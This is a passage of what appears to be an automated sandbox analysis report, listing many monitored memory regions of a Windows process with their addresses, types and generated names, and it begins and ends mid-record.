"pagefile_0x0000000000450000" filename = "" Region: id = 9278 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9279 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9280 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9281 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9282 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9283 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9284 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9285 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9286 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9287 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9288 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9289 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9290 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9291 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9292 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9293 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9294 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9295 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9296 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9297 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9298 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9299 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9300 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9301 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9302 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9303 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9304 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9305 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9306 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9307 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9308 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9309 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9310 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9311 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9312 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9313 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9314 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9315 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9316 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9317 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9318 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9319 start_va = 0x6e0000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9320 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9321 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9322 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9323 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9324 start_va = 0x11750000 end_va = 0x117cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011750000" filename = "" Region: id = 9325 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9326 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9327 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9328 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9329 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9330 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9331 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9332 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9333 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9334 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9335 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9336 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9337 start_va = 0x121d0000 end_va = 0x1224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000121d0000" filename = "" Region: id = 9338 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9339 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9340 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9341 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9342 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9343 start_va = 0x6d0000 end_va = 0x6d3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9344 start_va = 0x6f0000 end_va = 0x6f4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 9345 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9346 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9347 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9348 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9349 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9350 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9351 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9352 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9353 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9354 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9355 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9356 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9357 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9358 start_va = 0x6e0000 end_va = 0x6e2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9359 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9360 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9361 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9362 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9363 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9364 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9365 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9366 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9367 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9368 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9369 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9370 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9371 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9372 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9373 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9374 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9375 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9376 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9377 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9378 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9379 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9380 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9381 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9382 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9383 start_va = 0x2270000 end_va = 0x228dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9384 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9385 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9386 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9387 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9388 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9389 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9390 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9391 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9392 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9393 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9394 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9395 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9396 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9397 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9398 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9399 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9400 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9401 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9402 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9403 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9404 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9405 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9406 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9407 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9408 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9409 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9410 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9411 start_va = 0x12250000 end_va = 0x122cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012250000" filename = "" Region: id = 9412 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9413 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9414 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9415 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9416 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9417 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9418 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9419 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9420 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9421 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9422 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9423 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9424 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9425 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9426 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9427 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9428 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9429 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9430 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9431 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9432 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9433 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9434 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9435 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9436 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9437 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9438 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9439 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9440 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9441 start_va = 0x130d0000 end_va = 0x135c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000130d0000" filename = "" Region: id = 9442 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9443 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9444 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9445 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9446 start_va = 0x135d0000 end_va = 0x13ac1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000135d0000" filename = "" Region: id = 9447 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9448 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9449 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9450 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9451 start_va = 0x6d0000 end_va = 0x6d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9452 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9453 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9454 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9455 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9456 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9457 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9458 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9459 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9460 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9461 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9462 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9463 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9464 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9465 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9466 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9467 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9468 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9469 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9470 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9471 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9472 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9473 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9474 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9475 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = 